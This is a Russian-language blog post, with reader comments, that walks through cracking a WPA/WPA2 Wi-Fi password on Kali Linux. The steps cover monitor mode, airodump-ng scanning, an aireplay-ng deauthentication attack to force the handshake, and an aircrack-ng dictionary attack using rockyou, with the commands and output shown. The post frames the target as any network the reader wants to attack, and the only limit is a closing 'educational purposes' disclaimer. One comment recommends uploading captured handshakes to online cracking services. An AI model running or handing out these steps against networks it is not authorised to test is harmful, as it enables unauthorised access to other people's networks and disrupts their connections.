В наши дни использование беспроводных сетей Wi-Fi очень распространено. Многие пользователи задумываются о безопасности своих сетей и компьютеров, иногда у них возникают вопросы, как взломать Wi-Fi, насколько реальна эта угроза?
В этом посте я приглашаю обычных пользователей, возможно, далеких от аудита безопасности беспроводного Wi-Fi, взглянуть на свою сеть Wi-Fi глазами хакера и даже подумать, как взломать Wi-Fi?
Хотя нижеприведенный материал представлен на максимально простом языке, мы не можем обойтись без концепций, характерных для аудита Wi-Fi.
Wi-Fi терминология
Точка доступа (также Access Point), сокращенно AP — это устройство, которое обеспечивает работу сети Wi-Fi, к которой подключаются клиенты. Самыми популярными точками доступа являются роутеры.
Клиент (Станция) — устройство, которое подключается к Точке доступа. Наиболее распространены компьютеры, ноутбуки, мобильные телефоны и т. д.
ESSID и SSID — это названия беспроводных сетей Wi-Fi. Они появляются, когда вы выбираете, к какой сети подключиться. Строго говоря, ESSID и SSID — это не одно и то же, но эти термины часто используются как синонимы при проверке Wi-Fi. На скриншоте ниже ESSID (сетевые имена) — это MiAl, wifi88 и т. д.:
В данном случае BSSID – это MAC-адрес беспроводного устройства. Набор цифр, который содержит MAC-адрес, выглядит следующим образом 50:46:5D:6E:8C:20. Более подробная информация о них изложена в статье «Как узнать MAC адрес и как найти производителя по MAC адресу».
Рукопожатие (также хэндшейк, handshake) — это обмен данными между станцией и точкой доступа при установлении соединения Wi-Fi. Эти данные содержат информацию, позволяющую угадать пароль от сети Wi-Fi.
Брут-форс (также полный перебор) — это метод парольной атаки, в котором перечислены все возможные варианты пароля. Отнимает много времени и требует больших вычислительных мощностей.
Подбор пароля по словарю — это метод атаки на пароль, который состоит из перебора часто встречающихся вариантов пароля. Значительная часть ресурсов используется для достижения результатов.
Онлайн-перебор пароля WiFi — это метод подбора пароля, который включает подключение к точке доступа с несколькими кандидатами на пароли. Практически не используется из-за крайне низкой скорости поиска. Преимущество этого метода заключается в том, что для монитора не требуется совместимый адаптер WLAN. Обратной стороной является то, что этот метод очень медленный.
WPA и WPA2 – технология защищённого доступа к Wi-Fi, пришла на смену устаревшей технологии WEP.
Беспроводная Wi-Fi карта или беспроводной Wi-Fi адаптер – любая сетевая карта, которая способна подключаться к сети Wi-Fi. На данный момент в ноутбуках и телефонах они встроенные внутрь корпуса, в настольных компьютерам обычно представляют собой внешнее устройство, подключаемое по USB.
В режиме монитора (Monitor Mode) беспроводные адаптеры принимают пакеты данных, предназначенные не только для них, но и для других беспроводных устройств.
Сетевой интерфейс – имя, условное обозначение в Linux сетевых карт/адаптеров.
Канал сети Wi-Fi – условное цифровое обозначение частоты, на которой в данный момент работает Точка Доступа.
Что понадобится для взлома Wi-Fi
- Компьютер, на который можно установить Linux
- Специализированное программное обеспечение для Linux, оно является свободным (т.е. распространяется бесплатно и у него открыт исходный код)
- Беспроводная Wi-Fi карта, которая поддерживает режим монитора. Список актуальных карт.
- Соответствующие знания и навыки – это вы найдёте в данной статье.
Карты Wi-Fi с поддержкой режима монитора имеются в продаже, и их цена соответствует ценам других беспроводных карт с аналогичными характеристиками. В моем ноуте оказалось, что встроенная карта поддерживает режим монитора — то есть это не редкость и получить ее может любой желающий.
Как уже было сказано, специальное программное обеспечение для мониторинга сетей Wi-Fi распространяется бесплатно. По умолчанию он доступен в специальных дистрибутивах, таких как Kali Linux (перейдите по ссылке для получения общей информации и инструкций по установке).
Как видите, все компоненты, необходимые для взлома Wi-Fi, очень удобны. Все остальные действия выполняются в Kali Linux.
Wi-Fi адаптер в режиме монитора
По умолчанию беспроводные адаптеры находятся в «управляемом» (managed) режиме. В этом режиме вы можете подключиться к точке доступа как обычный клиент.
Поскольку нам нужно захватить рукопожатие, которое состоит из данных, которые Станция отправляет в Точку доступа и Точку доступа на Станцию (т.е. которые не предназначены для нас ни на каком этапе), мы должны поместить нашу карту Wi-Fi в режим монитора, чтобы можно было увидеть эти данные и сохранить их для дальнейшей обработки.
Чтобы ввести команды для переключения адаптера Wi-Fi в режим монитора, нам нужно найти название беспроводного интерфейса. Для этого откройте консоль и введите команду:
1
|
sudo iw dev |
Название беспроводного интерфейса указывается в строке со словом Interface, например в моем случае это wlan0. Запоминаем это значение, так как оно нам понадобится в будущем.
Режим монитора не является чем-то обычным для операционной системы, поэтому некоторые программы, не спрашивая, незаметно переключают адаптер Wi-Fi в управляемый режим. Это может нам мешать, поэтому с помощью следующих двух команд мы закрываем программы, которые могут нам мешать:
1
2
|
sudo systemctl stop NetworkManager sudo airmon-ng check kill |
Теперь, наконец, мы можем перевести беспроводную карту в режим монитора. Для этого выполните последовательность команд
1
2
3
|
sudo ip link set <ИНТЕРФЕЙС> down sudo iw <ИНТЕРФЕЙС> set monitor control sudo ip link set <ИНТЕРФЕЙС> up |
заменив <ИНТЕРФЕЙС> на действительное имя вашего беспроводного интерфейса (у меня это wlan0):
1
2
3
|
sudo ip link set wlan0 down sudo iw wlan0 set monitor control sudo ip link set wlan0 up |
Кажется, что ничего не произошло, но набрав команду
1
|
sudo iw dev |
Мы увидим примерно следующее:
В ней строка type monitor говорит о том, что наша беспроводная карта в режиме монитора.
Рукопожатие (хэндшэйк)
Как уже упоминалось, рукопожатие — это данные, которые поэтапно передаются между Станцией и Точкой доступа, когда Станция подключается к Точке доступа. Это означает, что для захвата рукопожатия мы должны переключиться на канал, на котором работает точка доступа, чтобы прослушать радиосигналы и дождаться момента, когда Станция подключится к нему. Поскольку ожидание может быть отложено, используется метод, называемый атакой деаутентификации, который заключается в принудительном сбросе Wi-Fi-соединения между точкой доступа и станцией. Сразу после этого отключения Станция пытается восстановить соединение, и в этот момент мы обмениваемся рукопожатием.
К сожалению, этот метод не работает, если к Точке Доступа никто не подключён.
Wi-Fi сети
Чтобы атаковать Wi-Fi сеть нам нужно знать некоторые её характеристики. Чтобы получить список всех доступных в диапазоне досягаемости Wi-Fi сетей выполните команду:
1
|
sudo airodump-ng wlan0 |
Обратите внимание, что если у вас другое имя беспроводного интерфейса, то вместо wlan0 вам нужно вписать это имя.
Описанная атака применима только для сетей с защитой WPA2 или WPA – таких подавляющее большинство.
Будет выведен похожий список сетей:
Когда вы увидите в списке сеть, которую хотите атаковать, то остановите программу, для этого нажмите CTRL+c.
Допустим меня интересует сеть с ESSID (имя) dlink. Как видно на скриншоте, ее характеристики следующие: BSSID — 00: 1E: 58: C6: AC: FB, использует WPA2, работает на шестом канале. Кроме того, ненулевое значение #Data (захваченные данные, отправленные этой AP) предполагает, что к ней подключены одна или несколько станций.
Для захвата рукопожатия используется команда следующего вида:
1
|
sudo airodump-ng -c КАНАЛ --bssid MAC_АДРЕС -w ФАЙЛ ИНТЕРФЕЙС |
Где:
- КАНАЛ – это канал, на котором работает ТД
- MAC_АДРЕС – это BSSID атакуемой ТД
- ФАЙЛ – имя файла, куда будет записано рукопожатие
- ИНТЕРФЕЙС – имя беспроводного интерфейса в режиме монитора
Для моих данных команда выглядит так:
1
|
sudo airodump-ng -c 6 --bssid 00:1E:58:C6:AC:FB -w capture wlan0 |
На следующем скриншоте вновь видна интересующая нас ТД, а также теперь виден раздел со станциями:
В полном списке ТД раздел со станциями также присутствовал, но уходил за нижний край экрана, поэтому на скриншот не попал.
Для станции в поле BSSID мы видим значение, которое соответствует BSSID точки доступа, то есть 00: 1E: 58: C6: AC: FB, это означает, что в данный момент эта станция подключена к интересующей нас AP. Теперь есть два варианта:
1) ждать пока Станция отсоединится и вновь подключится к ТД по естественным причинам
2) выполнить атаку деаутентификация для ускорения процесса
Атака деаутентификация
Для выполнения деаутентификации, не прекращая записи трафика, запущенного на предыдущем этапе, откройте новое окно консоли и введите туда команду вида:
1
|
sudo aireplay-ng -0 3 -a MAC_АДРЕС ИНТЕРФЕЙС |
Где:
- MAC_АДРЕС – это BSSID атакуемой ТД
- ИНТЕРФЕЙС – имя беспроводного интерфейса в режиме монитора
В моём случае команда выглядит так:
1
|
sudo aireplay-ng -0 3 -a 00:1E:58:C6:AC:FB wlan0 |
Программа выведет примерно следующее:
1
2
3
4
5
6
|
08:17:30 Waiting for beacon frame (BSSID: 00:1E:58:C6:AC:FB) on channel 6 NB: this attack is more effective when targeting a connected wireless client (-c <client's mac>). 08:17:30 Sending DeAuth to broadcast -- BSSID: [00:1E:58:C6:AC:FB] 08:17:30 Sending DeAuth to broadcast -- BSSID: [00:1E:58:C6:AC:FB] 08:17:31 Sending DeAuth to broadcast -- BSSID: [00:1E:58:C6:AC:FB] |
А в правом верхнем углу экрана для захвата данных появится новая запись:
1
|
WPA handshake: 00:1E:58:C6:AC:FB |
Она означает, что рукопожатие успешно захвачено.
Атака по словарю
Теперь нам нужно запустить перебор данных.
Подготовим словарь:
1
2
3
|
cp /usr/share/wordlists/rockyou .txt.gz . gunzip rockyou.txt.gz cat rockyou.txt | sort | uniq | pw-inspector -m 8 -M 63 > newrockyou.txt |
Файл словаря в этом случае называется newrockyou.txt.
Чтобы узнать имя захваченного рукопожатия выполните команду:
1
|
ls -l capture* |
При этом будет выведено что-то вроде следующего (записей может быть больше, если вы неоднократно захватывали рукопожатия):
1
2
3
4
|
-rw-r--r-- 1 root root 73164 сен 30 08:24 capture-01.cap -rw-r--r-- 1 root root 478 сен 30 08:24 capture-01.csv -rw-r--r-- 1 root root 583 сен 30 08:24 capture-01.kismet.csv -rw-r--r-- 1 root root 2766 сен 30 08:24 capture-01.kismet.netxml |
Нас интересует только файл capture-01.cap – именно он содержит рукопожатие.
Для перебора по словарю используется следующая команда:
1
|
aircrack-ng -w ФАЙЛ_СЛОВАРЯ ФАЙЛ_ЗАХВАТА |
Итак, в моём случае точная команда следующая:
1
|
aircrack-ng -w newrockyou.txt capture-01.cap |
Эта команда запускает подбор пароля, в процессе перебора показывается следующее окно:
Пароль подобран:
Об этом свидетельствует запись KEY FOUND! [ pattayateam ], где пароль для сети Wi-Fi — pattayateam. Используя этот пароль, вы можете подключиться к точке беспроводного доступа с любого устройства (компьютера, телефона), как это делают другие законные пользователи.
Заключение
Вам не составит труда справиться с взломом Wi-Fi. Чтобы это сделать, вам необходимо знать некоторые команды Linux. Для примера, здесь представлен только один случай из множества возможных атак Wi-Fi. Для того чтобы провести аудит беспроводных сетей, вам необходимо обратиться к книге «Взлом беспроводных сетей с помощью Kali Linux».
Вся информация представлена только в образовательных целях. Автор этого документа не несет ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения этого документа.
3 comments On Wi-Fi сеть глазами хакера
Доступ заблокирован. Обнаружил 29-10-2021, что МГТС в Москве блокирует https://cryptoworld.su
спасибо!
примем меры
Интересная статья Cracking WiFi
https://www.cyberark.com/resources/threat-research-blog/cracking-wifi-at-scale-with-one-simple-trick
https://www.opennet.ru/opennews/art.shtml?num=56049
Простейший вариант использования:
1. Наловите хендшейки утилитой hcxdumptools в файл dump.pcapng
2. Загрузите этот файл на https://wpa-sec.stanev.org
Простые пароли там находят быстрее, чем на https://www.onlinehashcrack.com